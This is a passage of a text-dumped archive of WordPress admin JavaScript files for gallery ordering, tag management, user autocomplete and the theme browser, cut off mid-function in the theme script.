context.rejectUrl The URL the user will be redirected to after rejecting the request. */ wp.hooks.doAction( 'wp_application_passwords_reject_app', context ); // @todo: Make a better way to do this so it feels like less of a semi-open redirect. window.location = authApp.reject; } ); $form.on( 'submit', function( e ) { e.preventDefault(); } ); }( jQuery, authApp ) ); js/gallery.min.js 0000644 00000007235 15233246127 0007753 0 ustar 00 /*! This file is auto-generated */ jQuery(function(n){var o=!1,e=function(){n("#media-items").sortable({items:"div.media-item",placeholder:"sorthelper",axis:"y",distance:2,handle:"div.filename",stop:function(){var e=n("#media-items").sortable("toArray"),i=e.length;n.each(e,function(e,t){e=o?i-e:1+e;n("#"+t+" .menu_order input").val(e)})}})},t=function(){var e=n(".menu_order_input"),t=e.length;e.each(function(e){e=o?t-e:1+e;n(this).val(e)})},i=function(e){e=e||0,n(".menu_order_input").each(function(){"0"!==this.value&&!e||(this.value="")})};n("#asc").on("click",function(e){e.preventDefault(),o=!1,t()}),n("#desc").on("click",function(e){e.preventDefault(),o=!0,t()}),n("#clear").on("click",function(e){e.preventDefault(),i(1)}),n("#showall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").hide(),n("a.describe-toggle-off, table.slidetoggle").show(),n("img.pinkynail").toggle(!1)}),n("#hideall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").show(),n("a.describe-toggle-off, table.slidetoggle").hide(),n("img.pinkynail").toggle(!0)}),e(),i(),1<n("#media-items>*").length&&(e=wpgallery.getWin(),n("#save-all, #gallery-settings").show(),void 0!==e.tinyMCE&&e.tinyMCE.activeEditor&&!e.tinyMCE.activeEditor.isHidden()?(wpgallery.mcemode=!0,wpgallery.init()):n("#insert-gallery").show())}),window.tinymce=null,window.wpgallery={mcemode:!1,editor:{},dom:{},is_update:!1,el:{},I:function(e){return document.getElementById(e)},init:function(){var e,t,i,n,o=this,l=o.getWin();if(o.mcemode){for(e=(""+document.location.search).replace(/^\?/,"").split("&"),t={},i=0;i<e.length;i++)n=e[i].split("="),t[unescape(n[0])]=unescape(n[1]);t.mce_rdomain&&(document.domain=t.mce_rdomain),window.tinymce=l.tinymce,window.tinyMCE=l.tinyMCE,o.editor=tinymce.EditorManager.activeEditor,o.setup()}},getWin:function(){return window.dialogArguments||opener||parent||top},setup:function(){var e,t,i,n=this,o=n.editor;if(n.mcemode){if(n.el=o.selection.getNode(),"IMG"!==n.el.nodeName||!o.dom.hasClass(n.el,"wpGallery")){if(!(i=o.dom.select("img.wpGallery"))||!i[0])return"1"===getUserSetting("galfile")&&(n.I("linkto-file").checked="checked"),"1"===getUserSetting("galdesc")&&(n.I("order-desc").checked="checked"),getUserSetting("galcols")&&(n.I("columns").value=getUserSetting("galcols")),getUserSetting("galord")&&(n.I("orderby").value=getUserSetting("galord")),void jQuery("#insert-gallery").show();n.el=i[0]}i=o.dom.getAttrib(n.el,"title"),(i=o.dom.decode(i))?(jQuery("#update-gallery").show(),n.is_update=!0,o=i.match(/columns=['"]([0-9]+)['"]/),e=i.match(/link=['"]([^'"]+)['"]/i),t=i.match(/order=['"]([^'"]+)['"]/i),i=i.match(/orderby=['"]([^'"]+)['"]/i),e&&e[1]&&(n.I("linkto-file").checked="checked"),t&&t[1]&&(n.I("order-desc").checked="checked"),o&&o[1]&&(n.I("columns").value=""+o[1]),i&&i[1]&&(n.I("orderby").value=i[1])):jQuery("#insert-gallery").show()}},update:function(){var e=this,t=e.editor,i="";e.mcemode&&e.is_update?"IMG"===e.el.nodeName&&(i=(i=t.dom.decode(t.dom.getAttrib(e.el,"title"))).replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,""),i+=e.getSettings(),t.dom.setAttrib(e.el,"title",i),e.getWin().tb_remove()):(t="[gallery"+e.getSettings()+"]",e.getWin().send_to_editor(t))},getSettings:function(){var e=this.I,t="";return e("linkto-file").checked&&(t+=' link="file"',setUserSetting("galfile","1")),e("order-desc").checked&&(t+=' order="DESC"',setUserSetting("galdesc","1")),3!==e("columns").value&&(t+=' columns="'+e("columns").value+'"',setUserSetting("galcols",e("columns").value)),"menu_order"!==e("orderby").value&&(t+=' orderby="'+e("orderby").value+'"',setUserSetting("galord",e("orderby").value)),t}}; js/tags.min.js 0000644 00000004643 15233246127 0007252 0 ustar 00 /*! This file is auto-generated */ jQuery(function(s){var o=!1;function a(e){e.children().css("backgroundColor",""),e.css("pointer-events",""),e.find(":input, a").prop("disabled",!1).removeAttr("tabindex")}s("#the-list").on("click",".delete-tag",function(){var n,e=s(this),r=e.parents("tr"),t=!0;return(t="undefined"!=showNotice?showNotice.warn():t)&&(n=e.attr("href").replace(/[^?]*\?/,"").replace(/action=delete/,"action=delete-tag"),r.children().css("backgroundColor","#faafaa"),r.css("pointer-events","none"),r.find(":input, a").prop("disabled",!0).attr("tabindex",-1),s.post(ajaxurl,n,function(e){if("1"==e){s("#ajax-response").empty();let e=r.next("tr").find("a.row-title");var t=r.prev("tr").find("a.row-title");e.length<1&&t.length<1?e=s("#tag-name").trigger("focus"):e.length<1&&(e=t),r.fadeOut("normal",function(){r.remove()}),s('select#parent option[value="'+n.match(/tag_ID=(\d+)/)[1]+'"]').remove(),s("a.tag-link-"+n.match(/tag_ID=(\d+)/)[1]).remove(),e.trigger("focus"),t=wp.i18n.__("The selected tag has been deleted.")}else t="-1"==e?wp.i18n.__("Sorry, you are not allowed to do that."):wp.i18n.__("An error occurred while processing your request. Please try again later."),s("#ajax-response").empty().append('<div class="notice notice-error"><p>'+t+"</p></div>"),a(r);wp.a11y.speak(t,"assertive")})),!1}),s("#edittag").on("click",".delete",function(e){if("undefined"==typeof showNotice)return!0;showNotice.warn()||e.preventDefault()}),s("#submit").on("click",function(){var a=s(this).parents("form");return o||(o=!0,a.find(".submit .spinner").addClass("is-active"),s.post(ajaxurl,s("#addtag").serialize(),function(e){var t,n,r;if(o=!1,a.find(".submit .spinner").removeClass("is-active"),s("#ajax-response").empty(),(t=wpAjax.parseAjaxResponse(e,"ajax-response")).errors&&"empty_term_name"===t.responses[0].errors[0].code&&validateForm(a),t&&!t.errors){if(0<(e=a.find("select#parent").val())&&0<s("#tag-"+e).length?s(".tags #tag-"+e).after(t.responses[0].supplemental.noparents):s(".tags").prepend(t.responses[0].supplemental.parents),s(".tags .no-items").remove(),a.find("select#parent")){for(e=t.responses[1].supplemental,n="",r=0;r<t.responses[1].position;r++)n+=" ";a.find("select#parent option:selected").after('<option value="'+e.term_id+'">'+n+e.name+"</option>")}s('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible',a).val("")}})),!1})}); js/user-suggest.js 0000644 00000004375 15233246127 0010171 0 ustar 00 /** * Suggests users in a multisite environment. * * For input fields where the admin can select a user based on email or * username, this script shows an autocompletion menu for these inputs. Should * only be used in a multisite environment. Only users in the currently active * site are shown. * * @since 3.4.0 * @output wp-admin/js/user-suggest.js */ /* global ajaxurl, current_site_id, isRtl */ (function( $ ) { var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : ''; $( function() { var position = { offset: '0, -1' }; if ( typeof isRtl !== 'undefined' && isRtl ) { position.my = 'right top'; position.at = 'right bottom'; } /** * Adds an autocomplete function to input fields marked with the class * 'wp-suggest-user'. * * A minimum of two characters is required to trigger the suggestions. The * autocompletion menu is shown at the left bottom of the input field. On * RTL installations, it is shown at the right top. Adds the class 'open' to * the input field when the autocompletion menu is shown. * * Does a backend call to retrieve the users. * * Optional data-attributes: * - data-autocomplete-type (add, search) * The action that is going to be performed: search for existing users * or add a new one. Default: add * - data-autocomplete-field (user_login, user_email) * The field that is returned as the value for the suggestion. * Default: user_login * * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user() */ $( '.wp-suggest-user' ).each( function(){ var $this = $( this ), autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add', autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login'; $this.autocomplete({ source: ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id, delay: 500, minLength: 2, position: position, open: function() { $( this ).addClass( 'open' ); }, close: function() { $( this ).removeClass( 'open' ); } }); }); }); })( jQuery ); js/theme.min.js 0000644 00000065006 15233246127 0007416 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(n){var o,a;function e(e,t){Backbone.history._hasPushState&&Backbone.Router.prototype.navigate.call(this,e,t)}(o=wp.themes=wp.themes||{}).data=_wpThemeSettings,a=o.data.l10n,o.isInstall=!!o.data.settings.isInstall,_.extend(o,{model:{},view:{},routes:{},router:{},template:wp.template}),o.Model=Backbone.Model.extend({initialize:function(){var e;this.get("slug")&&(-1!==_.indexOf(o.data.installedThemes,this.get("slug"))&&this.set({installed:!0}),o.data.activeTheme===this.get("slug"))&&this.set({active:!0}),this.set({id:this.get("slug")||this.get("id")}),this.has("sections")&&(e=this.get("sections").description,this.set({description:e}))}}),o.view.Appearance=wp.Backbone.View.extend({el:"#wpbody-content .wrap .theme-browser",window:n(window),page:0,initialize:function(e){_.bindAll(this,"scroller"),this.SearchView=e.SearchView||o.view.Search,this.window.on("scroll",_.throttle(this.scroller,300))},render:function(){this.view=new o.view.Themes({collection:this.collection,parent:this}),this.search(),this.$el.removeClass("search-loading"),this.view.render(),this.$el.empty().append(this.view.el).addClass("rendered")},searchContainer:n(".search-form"),search:function(){var e;1!==o.data.themes.length&&(e=new this.SearchView({collection:this.collection,parent:this}),(this.SearchView=e).render(),this.searchContainer.find(".search-box").append(n.parseHTML('<label for="wp-filter-search-input">'+a.search+"</label>")).append(e.el),this.searchContainer.on("submit",function(e){e.preventDefault()}))},scroller:function(){var e=this,t=this.window.scrollTop()+e.window.height(),e=e.$el.offset().top+e.$el.outerHeight(!1)-e.window.height();Math.round(.9*e)<t&&this.trigger("theme:scroll")}}),o.Collection=Backbone.Collection.extend({model:o.Model,terms:"",doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms&&(this.reset(o.data.themes),n("body").removeClass("no-results")),this.trigger("themes:update"))},search:function(t){var i,e,s,r,a;this.reset(o.data.themes,{silent:!0}),t=(t=(t=t.trim()).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),i=new RegExp("^(?=.*"+t+").+","i"),0===(e=this.filter(function(e){return s=e.get("name").replace(/(<([^>]+)>)/gi,""),r=e.get("description").replace(/(<([^>]+)>)/gi,""),a=e.get("author").replace(/(<([^>]+)>)/gi,""),s=_.union([s,e.get("id"),r,a,e.get("tags")]),i.test(e.get("author"))&&2<t.length&&e.set("displayAuthor",!0),i.test(s)})).length?this.trigger("query:empty"):n("body").removeClass("no-results"),this.reset(e)},paginate:function(e){var t=this;return e=e||0,t=_(t.rest(20*e)),t=_(t.first(20))},count:!1,query:function(t){var e,i,s,r=this.queries,a=this;if(this.currentQuery.request=t,e=_.find(r,function(e){return _.isEqual(e.request,t)}),(i=_.has(t,"page"))||(this.currentQuery.page=1),e||i){if(i)return this.apiCall(t,i).done(function(e){a.add(e.themes),a.trigger("query:success"),a.loadingThemes=!1}).fail(function(){a.trigger("query:fail")});0===e.themes.length?a.trigger("query:empty"):n("body").removeClass("no-results"),_.isNumber(e.total)&&(this.count=e.total),this.reset(e.themes),e.total||(this.count=this.length),this.trigger("themes:update"),this.trigger("query:success",this.count)}else this.apiCall(t).done(function(e){e.themes&&(a.reset(e.themes),s=e.info.results,r.push({themes:e.themes,request:t,total:s})),a.trigger("themes:update"),a.trigger("query:success",s),e.themes&&0===e.themes.length&&a.trigger("query:empty")}).fail(function(){a.trigger("query:fail")})},queries:[],currentQuery:{page:1,request:{}},apiCall:function(e,t){return wp.ajax.send("query-themes",{data:{request:_.extend({per_page:100},e)},beforeSend:function(){t||n("body").addClass("loading-content").removeClass("no-results")}})},loadingThemes:!1}),o.view.Theme=wp.Backbone.View.extend({className:"theme",state:"grid",html:o.template("theme"),events:{click:o.isInstall?"preview":"expand",keydown:o.isInstall?"preview":"expand",touchend:o.isInstall?"preview":"expand",keyup:"addFocus",touchmove:"preventExpand","click .theme-install":"installTheme","click .update-message":"updateTheme"},touchDrag:!1,initialize:function(){this.model.on("change",this.render,this)},render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)).attr("data-slug",e.id),this.activeTheme(),this.model.get("displayAuthor")&&this.$el.addClass("display-author")},activeTheme:function(){this.model.get("active")&&this.$el.addClass("active")},addFocus:function(){var e=n(":focus").hasClass("theme")?n(":focus"):n(":focus").parents(".theme");n(".theme.focus").removeClass("focus"),e.addClass("focus")},expand:function(e){if("keydown"!==(e=e||window.event).type||13===e.which||32===e.which)return!0===this.touchDrag?this.touchDrag=!1:void(n(e.target).is(".theme-actions a")||n(e.target).is(".theme-actions a, .update-message, .button-link, .notice-dismiss")||(o.focusedTheme=this.$el,this.trigger("theme:expand",this.model.cid)))},preventExpand:function(){this.touchDrag=!0},preview:function(e){var t,i,s=this;if(e=e||window.event,!0===this.touchDrag)return this.touchDrag=!1;n(e.target).not(".install-theme-preview").parents(".theme-actions").length||"keydown"===e.type&&13!==e.which&&32!==e.which||"keydown"===e.type&&13!==e.which&&n(":focus").hasClass("button")||(e.preventDefault(),e=e||window.event,o.focusedTheme=this.$el,o.preview=i=new o.view.Preview({model:this.model}),i.render(),this.setNavButtonsState(),1===this.model.collection.length?i.$el.addClass("no-navigation"):i.$el.removeClass("no-navigation"),n("div.wrap").append(i.el),this.listenTo(i,"theme:next",function(){if(t=s.model,_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)+1),_.isUndefined(s.current))return s.options.parent.parent.trigger("theme:end"),s.current=t;i.model=s.current,i.render(),this.setNavButtonsState(),n(".next-theme").trigger("focus")}).listenTo(i,"theme:previous",function(){t=s.model,0===s.model.collection.indexOf(s.current)||(_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)-1),_.isUndefined(s.current))||(i.model=s.current,i.render(),this.setNavButtonsState(),n(".previous-theme").trigger("focus"))}),this.listenTo(i,"preview:close",function(){s.current=s.model}))},setNavButtonsState:function(){var e=n(".theme-install-overlay"),t=_.isUndefined(this.current)?this.model:this.current,i=e.find(".previous-theme"),e=e.find(".next-theme");0===this.model.collection.indexOf(t)&&(i.addClass("disabled").prop("disabled",!0),e.trigger("focus")),_.isUndefined(this.model.collection.at(this.model.collection.indexOf(t)+1))&&(e.addClass("disabled").prop("disabled",!0),i.trigger("focus"))},installTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({installed:!0}),t.blockTheme&&i.model.set({block_theme:!0})}),wp.updates.installTheme({slug:n(e.target).data("slug")})},updateTheme:function(e){var i=this;this.model.get("hasPackage")&&(e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.off("change",i.render,i),i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.model.on("change",i.render,i)}),wp.updates.updateTheme({slug:n(e.target).parents("div.theme").first().data("slug")}))}}),o.view.Details=wp.Backbone.View.extend({className:"theme-overlay",events:{click:"collapse","click .delete-theme":"deleteTheme","click .left":"previousTheme","click .right":"nextTheme","click #update-theme":"updateTheme","click .toggle-auto-update":"autoupdateState"},html:o.template("theme-single"),render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)),this.activeTheme(),this.navigation(),this.screenshotCheck(this.$el),this.containFocus(this.$el)},activeTheme:function(){this.$el.toggleClass("active",this.model.get("active"))},containFocus:function(s){_.delay(function(){n(".theme-overlay").trigger("focus")},100),s.on("keydown.wp-themes",function(e){var t=s.find(".theme-header button:not(.disabled)").first(),i=s.find(".theme-actions a:visible").last();9===e.which&&(t[0]===e.target&&e.shiftKey?(i.trigger("focus"),e.preventDefault()):i[0]!==e.target||e.shiftKey||(t.trigger("focus"),e.preventDefault()))})},collapse:function(e){var t,i=this;e=e||window.event,1!==o.data.themes.length&&(n(e.target).is(".theme-backdrop")||n(e.target).is(".close")||27===e.keyCode)&&(n("body").addClass("closing-overlay"),this.$el.fadeOut(130,function(){n("body").removeClass("closing-overlay"),i.closeOverlay(),t=document.body.scrollTop,o.router.navigate(o.router.baseUrl("")),document.body.scrollTop=t,o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}))},navigation:function(){this.model.cid===this.model.collection.at(0).cid&&this.$el.find(".left").addClass("disabled").prop("disabled",!0),this.model.cid===this.model.collection.at(this.model.collection.length-1).cid&&this.$el.find(".right").addClass("disabled").prop("disabled",!0)},closeOverlay:function(){n("body").removeClass("modal-open"),this.remove(),this.unbind(),this.trigger("theme:collapse")},autoupdateState:function(){var s=this,r=function(e,t){var i;s.model.get("id")===t.asset&&((i=s.model.get("autoupdate")).enabled="enable"===t.state,s.model.set({autoupdate:i}),n(document).off("wp-auto-update-setting-changed",r))};n(document).on("wp-auto-update-setting-changed",r)},updateTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.render()}),wp.updates.updateTheme({slug:n(e.target).data("slug")})},deleteTheme:function(e){var i=this,s=i.model.collection,r=o;e.preventDefault(),window.confirm(wp.themes.data.settings.confirmDelete)&&(wp.updates.maybeRequestFilesystemCredentials(e),n(document).one("wp-theme-delete-success",function(e,t){i.$el.find(".close").trigger("click"),n('[data-slug="'+t.slug+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){n(this).remove(),r.data.themes=_.without(r.data.themes,_.findWhere(r.data.themes,{id:t.slug})),n(".wp-filter-search").val(""),s.doSearch(""),s.remove(i.model),s.trigger("themes:update")})}),wp.updates.deleteTheme({slug:this.model.get("id")}))},nextTheme:function(){return this.trigger("theme:next",this.model.cid),!1},previousTheme:function(){return this.trigger("theme:previous",this.model.cid),!1},screenshotCheck:function(e){var t=e.find(".screenshot img"),i=new Image;i.src=t.attr("src"),i.width&&i.width<=300&&e.addClass("small-screenshot")}}),o.view.Preview=o.view.Details.extend({className:"wp-full-overlay expanded",el:".theme-install-overlay",events:{"click .close-full-overlay":"close","click .collapse-sidebar":"collapse","click .devices button":"previewDevice","click .previous-theme":"previousTheme","click .next-theme":"nextTheme",keyup:"keyEvent","click .theme-install":"installTheme"},html:o.template("theme-preview"),render:function(){var e=this,t=this.model.toJSON(),i=n(document.body);i.attr("aria-busy","true"),this.$el.removeClass("iframe-ready").html(this.html(t)),(t=this.$el.data("current-preview-device"))&&e.togglePreviewDeviceButtons(t),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.get("id")),{replace:!1}),this.$el.fadeIn(200,function(){i.addClass("theme-installer-active full-overlay-active")}),this.$el.find("iframe").one("load",function(){e.iframeLoaded()})},iframeLoaded:function(){this.$el.addClass("iframe-ready"),n(document.body).attr("aria-busy","false")},close:function(){return this.$el.fadeOut(200,function(){n("body").removeClass("theme-installer-active full-overlay-active"),o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}).removeClass("iframe-ready"),o.router.selectedTab?(o.router.navigate(o.router.baseUrl("?browse="+o.router.selectedTab)),o.router.selectedTab=!1):o.router.navigate(o.router.baseUrl("")),this.trigger("preview:close"),this.undelegateEvents(),this.unbind(),!1},collapse:function(e){e=n(e.currentTarget);return"true"===e.attr("aria-expanded")?e.attr({"aria-expanded":"false","aria-label":a.expandSidebar}):e.attr({"aria-expanded":"true","aria-label":a.collapseSidebar}),this.$el.toggleClass("collapsed").toggleClass("expanded"),!1},previewDevice:function(e){e=n(e.currentTarget).data("device");this.$el.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+e).data("current-preview-device",e),this.togglePreviewDeviceButtons(e)},togglePreviewDeviceButtons:function(e){var t=n(".wp-full-overlay-footer .devices");t.find("button").removeClass("active").attr("aria-pressed",!1),t.find("button.preview-"+e).addClass("active").attr("aria-pressed",!0)},keyEvent:function(e){27===e.keyCode&&(this.undelegateEvents(),this.close()),e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&_.once(this.nextTheme()),37===e.keyCode&&this.previousTheme())},installTheme:function(e){var t=this,i=n(e.target);e.preventDefault(),i.hasClass("disabled")||(wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(){t.model.set({installed:!0})}),wp.updates.installTheme({slug:i.data("slug")}))}}),o.view.Themes=wp.Backbone.View.extend({className:"themes wp-clearfix",$overlay:n("div.theme-overlay"),index:0,count:n(".wrap .theme-count"),liveThemeCount:0,initialize:function(e){var t=this;this.parent=e.parent,this.setView("grid"),t.currentTheme(),this.listenTo(t.collection,"themes:update",function(){t.parent.page=0,t.currentTheme(),t.render(this)}),this.listenTo(t.collection,"query:success",function(e){_.isNumber(e)?(t.count.text(e),t.announceSearchResults(e)):(t.count.text(t.collection.length),t.announceSearchResults(t.collection.length))}),this.listenTo(t.collection,"query:empty",function(){n("body").addClass("no-results")}),this.listenTo(this.parent,"theme:scroll",function(){t.renderThemes(t.parent.page)}),this.listenTo(this.parent,"theme:close",function(){t.overlay&&t.overlay.closeOverlay()}),n("body").on("keyup",function(e){!t.overlay||n("#request-filesystem-credentials-dialog").is(":visible")||e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&t.overlay.nextTheme(),37===e.keyCode&&t.overlay.previousTheme(),27===e.keyCode&&t.overlay.collapse(e))})},render:function(){this.$el.empty(),1===o.data.themes.length&&(this.singleTheme=new o.view.Details({model:this.collection.models[0]}),this.singleTheme.render(),this.$el.addClass("single-theme"),this.$el.append(this.singleTheme.el)),0<this.options.collection.size()&&this.renderThemes(this.parent.page),this.liveThemeCount=this.collection.count||this.collection.length,this.count.text(this.liveThemeCount),o.isInstall||this.announceSearchResults(this.liveThemeCount)},renderThemes:function(e){var t=this;t.instance=t.collection.paginate(e),0===t.instance.size()?this.parent.trigger("theme:end"):(!o.isInstall&&1<=e&&n(".add-new-theme").remove(),t.instance.each(function(e){t.theme=new o.view.Theme({model:e,parent:t}),t.theme.render(),t.$el.append(t.theme.el),t.listenTo(t.theme,"theme:expand",t.expand,t)}),!o.isInstall&&o.data.settings.canInstall&&this.$el.append('<div class="theme add-new-theme"><a href="'+o.data.settings.installURI+'"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">'+a.addNew+"</h2></a></div>"),this.parent.page++)},currentTheme:function(){var e=this.collection.findWhere({active:!0});e&&(this.collection.remove(e),this.collection.add(e,{at:0}))},setView:function(e){return e},expand:function(e){var t,i=this;this.model=i.collection.get(e),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.id)),this.setView("detail"),n("body").addClass("modal-open"),this.overlay=new o.view.Details({model:i.model}),this.overlay.render(),this.model.get("hasUpdate")&&(e=n('[data-slug="'+this.model.id+'"]'),t=n(this.overlay.el),e.find(".updating-message").length?(t.find(".notice-warning h3").remove(),t.find(".notice-warning").removeClass("notice-large").addClass("updating-message").find("p").text(wp.updates.l10n.updating)):e.find(".notice-error").length&&t.find(".notice-warning").remove()),this.$overlay.html(this.overlay.el),this.listenTo(this.overlay,"theme:next",function(){i.next([i.model.cid])}).listenTo(this.overlay,"theme:previous",function(){i.previous([i.model.cid])})},next:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)+1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},previous:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)-1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},announceSearchResults:function(e){0===e?wp.a11y.speak(a.noThemesFound):wp.a11y.speak(a.themesFound.replace("%d",e))}}),o.view.Search=wp.Backbone.View.extend({tagName:"input",className:"wp-filter-search",id:"wp-filter-search-input",searching:!1,attributes:{type:"search","aria-describedby":"live-search-desc"},events:{input:"search",keyup:"search",blur:"pushState"},initialize:function(e){this.parent=e.parent,this.listenTo(this.parent,"theme:close",function(){this.searching=!1})},search:function(e){"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e)},doSearch:function(e){var t={};this.collection.doSearch(e.target.value.replace(/\+/g," ")),this.searching&&13!==e.which?t.replace=!0:this.searching=!0,e.target.value?o.router.navigate(o.router.baseUrl(o.router.searchPath+e.target.value),t):o.router.navigate(o.router.baseUrl(""))},pushState:function(e){var t=o.router.baseUrl("");e.target.value&&(t=o.router.baseUrl(o.router.searchPath+encodeURIComponent(e.target.value))),this.searching=!1,o.router.navigate(t)}}),o.Router=Backbone.Router.extend({routes:{"themes.php?theme=:slug":"theme","themes.php?search=:query":"search","themes.php?s=:query":"search","themes.php":"themes","":"themes"},baseUrl:function(e){return"themes.php"+e},themePath:"?theme=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},themes:function(){n(".wp-filter-search").val("")},navigate:e}),o.Run={init:function(){this.themes=new o.Collection(o.data.themes),this.view=new o.view.Appearance({collection:this.themes}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this;o.router=new o.Router,o.router.on("route:theme",function(e){t.view.view.expand(e)}),o.router.on("route:themes",function(){t.themes.doSearch(""),t.view.trigger("theme:close")}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},o.view.InstallerSearch=o.view.Search.extend({events:{input:"search",keyup:"search"},terms:"",search:function(e){("keyup"!==e.type||9!==e.which&&16!==e.which)&&(this.collection=this.options.parent.view.collection,"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e.target.value))},doSearch:function(e){var t={};this.terms!==e&&(this.terms=e,"author:"===(t.search=e).substring(0,7)&&(t.search="",t.author=e.slice(7)),"tag:"===e.substring(0,4)&&(t.search="",t.tag=[e.slice(4)]),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),n("body").removeClass("show-filters filters-applied show-favorites-form"),n(".drawer-toggle").attr("aria-expanded","false"),this.collection.query(t),o.router.navigate(o.router.baseUrl(o.router.searchPath+encodeURIComponent(e)),{replace:!0}))}}),o.view.Installer=o.view.Appearance.extend({el:"#wpbody-content .wrap",events:{"click .filter-links li > a":"onSort","click .theme-filter":"onFilter","click .drawer-toggle":"moreFilters","click .filter-drawer .apply-filters":"applyFilters",'click .filter-group [type="checkbox"]':"addFilter","click .filter-drawer .clear-filters":"clearFilters","click .edit-filters":"backToFilters","click .favorites-form-submit":"saveUsername","keyup #wporg-username-input":"saveUsername"},render:function(){var e=this;this.search(),this.uploader(),this.collection=new o.Collection,this.listenTo(this,"theme:end",function(){e.collection.loadingThemes||(e.collection.loadingThemes=!0,e.collection.currentQuery.page++,_.extend(e.collection.currentQuery.request,{page:e.collection.currentQuery.page}),e.collection.query(e.collection.currentQuery.request))}),this.listenTo(this.collection,"query:success",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove()}),this.listenTo(this.collection,"query:fail",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove(),n(".theme-browser").find("div.themes").before('<div class="notice notice-error"><p>'+a.error+'</p><p><button class="button try-again">'+a.tryAgain+"</button></p></div>"),n(".theme-browser .error .try-again").on("click",function(e){e.preventDefault(),n("input.wp-filter-search").trigger("input")})}),this.view&&this.view.remove(),this.view=new o.view.Themes({collection:this.collection,parent:this}),this.page=0,this.$el.find(".themes").remove(),this.view.render(),this.$el.find(".theme-browser").append(this.view.el).addClass("rendered")},browse:function(e){"block-themes"===e?this.collection.query({tag:"full-site-editing"}):this.collection.query({browse:e})},onSort:function(e){var t=n(e.target),i=t.data("sort");e.preventDefault(),n("body").removeClass("filters-applied show-filters"),n(".drawer-toggle").attr("aria-expanded","false"),t.hasClass(this.activeClass)||(this.sort(i),o.router.navigate(o.router.baseUrl(o.router.browsePath+i)))},sort:function(e){this.clearSearch(),o.router.selectedTab=e,n(".filter-links li > a, .theme-filter").removeClass(this.activeClass).removeAttr("aria-current"),n('[data-sort="'+e+'"]').addClass(this.activeClass).attr("aria-current","page"),"favorites"===e?n("body").addClass("show-favorites-form"):n("body").removeClass("show-favorites-form"),this.browse(e)},onFilter:function(e){var e=n(e.target),t=e.data("filter");e.hasClass(this.activeClass)||(n(".filter-links li > a, .theme-section").removeClass(this.activeClass).removeAttr("aria-current"),e.addClass(this.activeClass).attr("aria-current","page"),t&&(t=_.union([t,this.filtersChecked()]),this.collection.query({tag:[t]})))},addFilter:function(){this.filtersChecked()},applyFilters:function(e){var t,i=this.filtersChecked(),s={tag:i},r=n(".filtered-by .tags");e&&e.preventDefault(),i?(n("body").addClass("filters-applied"),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),r.empty(),_.each(i,function(e){t=n('label[for="filter-id-'+e+'"]').text(),r.append('<span class="tag">'+t+"</span>")}),this.collection.query(s)):wp.a11y.speak(a.selectFeatureFilter)},saveUsername:function(e){var t=n("#wporg-username-input").val(),i=n("#wporg-username-nonce").val(),s={browse:"favorites",user:t},r=this;if(e&&e.preventDefault(),"keyup"!==e.type||13===e.which)return 